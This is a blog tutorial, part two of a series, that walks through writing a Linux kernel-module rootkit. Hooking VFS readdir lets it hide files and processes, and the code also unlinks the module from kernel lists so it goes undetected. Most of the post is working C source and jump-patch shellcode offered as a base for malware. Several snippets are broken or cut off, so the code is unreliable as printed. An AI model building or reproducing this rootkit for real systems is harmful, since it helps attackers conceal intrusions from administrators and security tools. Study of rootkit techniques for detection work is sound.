Writing Linux Rootkits 201 (2/3)

Writing Modern Linux Rootkits 201 - VFS

By Tyler Borland (TurboBorland)

Destroy and Rebuild

In the last part we looked at system call hooking and how we can take advantage of that to hide files on the system. Of course, there are a multitude of drawbacks to that approach, so instead this part will focus on virtual filesystem rootkits. In fact, we will start our drivers again from a basic skeleton and build it up once more. So I hope you had fun and played around with the system call hijacking as we will not be using any of that code.

Skeleton Once More

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
int rooty_init(void);
void rooty_exit(void);
module_init(rooty_init);
module_exit(rooty_exit);

int rooty_init(void) {
 printk("rooty: module loaded\n");
 return 0;
}
```

USBCreator Exploit (or …

DMESG_RESTRICT By…

JournalCTL Terminal Es…

Ghetto Privilege Escalati…

Writing Linux Rootkits 301

Writing Linux Rootkits 2…

Linux Rootkits 10… 2

Exploiting Exotic … 3

Exploiting Exotic … 1

Exploiting Exotic … 1

Attacking Kippo 1

Modern Userland Linux …

Discovering Modern CS…

Exodus Intelligence - Br…

Virtual file systems (VFS) are an abstraction layer to allow easy communication with other filesystems such as ext4, reiser fs, or other special filesystems like procfs. This extra layer translates easy to use VFS functions to their appropriate functions offered by the given filesystem. This allows a developer to interact solely with the VFS and not needing to find, handle, and support the different functions and types of individual filesystems.

There are two major reasons why we should care about this. First, we can hook a VFS function and deal with that one function to hide information from the concrete filesystem. This allows a one stop shop hijack for hiding from any VFS supported filesystem (the majority of them). With this we will have the ability to hide files and directories from most tool with ease. The second reason is that procfs is a supported filesystem.

Procfs (Proc filesystem)

The proc filesystem is an interface to easily manage kernel data structures. This includes being able to retrieve and even change data inside the linux kernel at runtime. More importantly, for us, it also provides an interface for process data. Each process is mapped to procfs by its given process id number. Retrieving this pid number allows any tool to pull, with appropriate privileges, whatever data it needs to find out about that given process. This includes its memory mapping, memory usage, network usage, parameters, environment variables, and etc. Given this, if we know the pid and we're hooked into the VFS for procfs, we can also manipulate data returned to these tools to hide processes.

Getting A Few Pointers

Now that we know what we need to do we must first get a pointer to the appropriate VFS function for our root directory, /, for the ability to hide files and directories. We will then need to get another VFS pointer to /proc for the procfs to hide processes. But what pointer/function do we want to hijack? To figure this out, let's quickly take a look at the file_operations structure seen in includes/fs.h:

```
struct file_operations {
        struct module *owner;
        loff_t (*llseek) (struct file *, loff_t, int);
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
```

```
        int (*open) (struct inode *, struct file *);
        int (*flush) (struct file *, fl_owner_t id);
        int (*release) (struct inode *, struct file *);
        int (*fsync) (struct file *, loff_t, loff_t, int datasync);
        int (*aio_fsync) (struct kiocb *, int datasync);
        int (*fasync) (int, struct file *, int);
        int (*lock) (struct file *, int, struct file_lock *);
        ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
        unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
        int (*check_flags)(int);
        int (*flock) (struct file *, int, struct file_lock *);
        ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
        ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
        int (*setlease)(struct file *, long, struct file_lock **);
        long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len);
};
```

Read and write would be a good goto when starting to look at this structure. However, we will actually be looking at readdir.

Readdir

Readdir takes a linux 'dirent' structure from the given file descriptor and fills a buffer. Readdir(2) was superceded by getdents(2) which allow several dirent structures to fill a buffer. This structure looks like:

```
struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;     /* Offset to next linux_dirent */
               unsigned short d_reclen;  /* Length of this linux_dirent */
               char           d_name[];  /* Filename (null-terminated) */
                                   /* length is actually (d_reclen - 2 -
                                      offsetof(struct linux_dirent, d_name) */
               /*
```

```
            }
```

While readdir(2) was superceded by getdents(2), they both are implemented to call vfs_readdir in readdir.c which both end up pointing to "res = file->f_op->readdir(file, buf, filler);".

A really important takeaway is the 'filler' part which is of filldir_t. This is actually the part that fills the userland buffer with the dirent data. As can be seen here:

```
dirent = buf->previous;
if (dirent) {
 if (__put_user(offset, &dirent->d_off))
         goto efault;
}
dirent = buf->current_dir;
if (__put_user(d_ino, &dirent->d_ino))
 goto efault;
if (__put_user(reclen, &dirent->d_reclen))
 goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
 goto efault;
if (__put_user(0, dirent->d_name + namlen))
 goto efault;
if (__put_user(d_type, (char __user *) dirent + reclen - 1))
 goto efault;
```

So, when we hijack file->f_op->readdir all we really need to do is manage our own filldir function, parse it, and then call the real readdir with our filldir values.

Note about kernel versions >= 3.11

With 3.11 kernels, vfs_readdir has been completely removed and now uses iter_dir for the new iterator value in file_operations. This looks like "file->f_op->iterate(file, ctx);" where ctx is struct dir_context *ctx. This structure looks like:

I will update this post as soon as full coverage for 3.11 kernels is completed.

Getting The Pointers

Hopefully, it should be easy enough to see how this code will work. We're going to make a function where we want to retrieve two pointers. One for the root filesystem's file->f_op>readdir and one for the proc filesystem of the same.

```
void *get_readdir(const char *path) {
 void *ret;
 struct file *file;

 if ((file = filp_open(path,O_RDONLY,0)) == NULL)
  return NULL;

 ret = file->f_op->readdir;
 filp_close(file,0):

 return ret;
}
```

And all that needs to be done now is prototype some readdir functions and then point one of the paths at our get_readdir function. A prototype is very simple if you remember how it looked in the file_operations struct. This prototype in our example is:

static int (*o_root_readdir)(struct file *file, void *dirent, filldir_t filldir);
static int (*o_proc_readdir)(struct file *file, void *dirent, filldir_t filldir);

And then in rooty_init, we gain our pointer by doing 'o_root_readdir = get_readdir("/");' and 'o_proc_readdir = get_readdir("/proc");'.

The Hijacking Setup

```
#if defined(__i386__)
#define csize 6 /* code size */
#define jacked_code "\x68\x00\x00\x00\x00\xc3" /* push addr; ret */
#define poff 1 /* offset to start writing address */
#else
#define csize 12 /* code size */
#define jacked_code "\x48\x8b\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0" /* mov rax,[addr]; jmp rax */
#define poff 2 /* offset to start writing address */
#endif
```

Now that we have the sizes and code, we'll need to fill in the missing addresses with a pointer to our own readdir functions and save a copy of the original code. We will also be managing a list considering we're dealing with hijacking two different filesystems. Let's start off by showing the function:

```
void save_it(void *target, void *new) {
 struct hook *h;
 unsigned char hijack_code[csize];
 unsigned char o_code[csize];

 memcpy(hijack_code,jacked_code,csize);
 *(unsigned long *)&hijacked_code[poff] = (unsigned long)new;
 memcpy(o_code,target,csize);

 h = kmalloc(sizeof(*h), GFP_KERNEL);
 h->target = target;
 memcpy(h->hijack_code,hijack_code,csize);
 memcpy(h->o_code,o_code,csize);
 list_add(&h->list,&hooked_targets);
}
```

A call into this function would use the pointer we got from *get_readdir and a pointer to our new function. So our rootv init would now look like:

```
 o_proc_readdir = get_readdir("/");
 save_it(o_proc_readdir,rooty_proc_readdir);
}
```

The part that hasn't been explained yet is the list in our save_it function. Because we have two different targets and hijacks dealing with the two filesystems, it makes things much easier to use a list. We can simply list each entry, check the target to see if this is what we want to work on, and fix/hijack appropriately. This makes it a cleaner approach when we get to the hijacking and cleanup.

Our Own readdir/filldir

Now that we know what to hijack and have our code built up, we need to build our own functions for / and /proc's readdir. If you remember earlier, the more important piece is the filldir_t that actually fills the userland buffer with the dirent data. We'll have two functions for each filesystem. One for both readdir and filldir. When a call is made into the hijacked readdir, we're going to fix the data with the original code and then call the function with our own filldir, then hijack the prologue bytes once more and return. The filldir will simply check for what we want to hide and return 0 if a match is made. First we'll need to figure out how filldir_t is laid out. For this information we can check out /fs/readdir.c:

static int filldir(void * __buf, const char * name, int namlen, loff_t offset, u64 ino, unsigned int d_type)

With knowing how readdir and filldir is laid out, we can finally create our own functions:

```
static int rooty_root_filldir(void *__buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) {
 char *get_protect = "rooty";

 if strstr(name,get_protect)
  return 0;

 return o_root_filldir(__buff,name,namelen,offset,ino,d_type);
}

int rooty_root_readdir(struct file *file, void *dirent, filldir_t filldir) {
 int ret;
```

```
 return ret;
}

static int rooty_proc_filldir(void *__buff, const char *name, int namelen, loff_t offset, u64 ino, insigned int d_type)
 long pid;
 char *endp;
 long my_pid = 1;
 unsigned short base = 10;

 pid = simple_strtol(name,&endp,base);
 if (my_pid == pid)
  return 0;

 return o_proc_filldir(buff,name,namelen,offset,ino,d_type);
}

int rooty_proc_readdir(struct file *file, void *dirent, filldir_t filldir) {
 int ret;
 o_proc_filldir = filldir;

 fix_it(o_proc_readdir);
 ret = o_proc_readdir(file,dirent,&rooty_proc_filldir);
 jack_it(o_proc_readdir);

 return ret;
}
```

The rooty_proc_filldir function uses a static pid. Your piece of malware would normally communicate to the rootkit to tell it the process id to hide and add it to a list to hide appropriately. However, this is only an example skeleton and proving the rootkit works is the goal of the article. The only thing that's left to explain is how jack_it and fix_it actually works.

jack_it and fix_it

code to the given function. To do this is we use list_for_each_entry and cycle through our list's entries. Let's take a look:

```
void jack_it(void *target) {
 /* dirty mind? o.0 */
 struct hook *h;

 list_for_each_entry(h, &hooked_targets, list) {
  if (target == h->target) {
   preempt_disable();
   barrier();
   write_cr0(read_cr0() & (~ 0x10000));
   memcpy(target,h->hijack_code,csize);
   write_cr0(read_cr0() | 0x10000);
   barrier();
   preempt_enable_no_resched();
  }
 }
}

void fix_it(void *target) {
 struct hook *h;

 list_for_each_entry(h, &hooked_targets, list) {
  if (target == h->target) {
   preempt_disable();
   barrier();
   write_cr0(read_cr0() & (~ 0x10000));
   memcpy(target,h->o_code,csize);
   write_cr0(read_cr0() | 0x10000);
   barrier();
   preempt_enable_no_resched();
  }
```

```
int rooty_init(void) {
        o_root_readdir = get_readdir("/");
        save_it(o_root_readdir,rooty_root_readdir);
 jack_it(o_root_readdir);

        o_proc_readdir = get_readdir("/");
        save_it(o_proc_readdir,rooty_proc_readdir);
 jack_it(o_proc_readdir);
}
```

Conclusion

That's all there is to it! We now have a function VFS rootkit. In the coming parts we'll start working on building this rootkit to be better and bypassing module security and other security checks. For now you should understand the rootkit code I'm presenting at the bottom of this post. Again, we didn't cover a whole lot on the 3.11 support, but with understanding of how the other code works, understanding the 3.11 code shouldn't be an issue.

Code

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/proc_fs.h>

MODULE_LICENSE("GPL");

int rooty_init(void);
```

```
static int (*o_root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type);

#if defined(__i386__)
#define csize 6 /* code size */
#define jacked_code "\x68\x00\x00\x00\x00\xc3" /* push address, addr, ret */
#define poff 1 /* pointer offset to write address to */
#else
#define csize 12 /* code size */
/* mov address to register rax, jmp rax. for normal x64 convention */
#define jacked_code "\x48\x8b\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
#define poff 2
#endif

struct hook {
 void *target; /* target pointer */
 unsigned char hijack_code[csize]; /* hijacked function jmp */
 unsigned char o_code[csize]; /* original function asm */
 struct list_head list; /* linked list for proc and root readdir/iterator */
};

LIST_HEAD(hooked_targets);

void jack_it(void *target) {
 /* o.0 dirty minds? */
 struct hook *h;

 list_for_each_entry(h, &hooked_targets, list) {
  if (target == h->target) {
   preempt_disable();
   barrier();
   write_cr0(read_cr0() & (~ 0x10000));
   memcpy(target,h->hijack_code,csize);
   write_cr0(read_cr0() | 0x10000);
```

```
void fix_it(void *target) {
 struct hook *h;

 list_for_each_entry(h, &hooked_targets, list) {
  if (target == h->target) {
   preempt_disable();
   barrier();
   write_cr0(read_cr0() & (~ 0x10000));
   memcpy(target,h->o_code,csize);
   write_cr0(read_cr0() | 0x10000);
   barrier();
   preempt_enable_no_resched();
  }
 }
}

void *get_readdir(const char *path) {
 void *ret;
 struct file *file;

 if ((file = filp_open(path, O_RDONLY, 0)) == NULL)
  return NULL;

 ret = file->f_op->readdir;
 filp_close(file,0);

 return ret;
}

static int rooty_root_filldir(void *__buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) {
 char *get_protect = "rooty";

 if (strstr(name,get_protect))
```

```
 int ret;
 o_root_filldir = filldir;

 fix_it(o_root_readdir);
 ret = o_root_readdir(file,dirent,&rooty_root_filldir);
 jack_it(o_root_readdir);

 return ret;
}

static int rooty_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) {
 long pid;
 char *endp;
 /* my_pid is where your malware would communicate to the rootkit what the pid is to hide */
 long my_pid = 1;
 unsigned short base = 10;

 pid = simple_strtol(name,&endp,base);
 if (pid == my_pid)
  return 0;

 return o_proc_filldir(__buf,name,namelen,offset,ino,d_type);
}

int rooty_proc_readdir(struct file *file, void *dirent, filldir_t filldir) {
 int ret;
 o_proc_filldir = filldir;

 fix_it(o_proc_readdir);
 ret = o_proc_readdir(file,dirent,&rooty_proc_filldir);
 jack_it(o_proc_readdir);

 return ret;
```

```
 memcpy(hijack_code,jacked_code,csize);
 *(unsigned long *)&hijack_code[poff] = (unsigned long)new;
 memcpy(o_code,target,csize);

 h = kmalloc(sizeof(*h), GFP_KERNEL);
 h->target = target;
 memcpy(h->hijack_code,hijack_code,csize);
 memcpy(h->o_code,o_code,csize);
 list_add(&h->list,&hooked_targets);
}

int rooty_init(void) {
 /* Do kernel module hiding*/
 list_del_init(&__this_module.list);
 kobject_del(&THIS_MODULE->mkobj.kobj);

 /* hijack root filesystem */
 o_root_readdir = get_readdir("/");
 save_it(o_root_readdir,rooty_root_readdir);
 jack_it(o_root_readdir);

 /* hijack proc filesystem */
 o_proc_readdir = get_readdir("/proc");
 save_it(o_proc_readdir,rooty_proc_readdir);
 jack_it(o_proc_readdir);

 return 0;
}

void rooty_exit(void) {
 fix_it(o_root_readdir);
 fix_it(o_proc_readdir);
```

I would really like to thank Michael Coppola for his work on Suterusu rootkit. When I was having issues with some of my code, I found his rootkit and it helped me a bunch. If you'd like to see a great project that does everything here, supports ARM, and much more that we'll get into later when writing the malware counterpart (hiding communication channels) then definitely check out his project at https://github.com/mncoppola/suterusu [https://github.com/mncoppola/suterusu] .

Posted 4th October 2013 by TurboBorland

0 Add a comment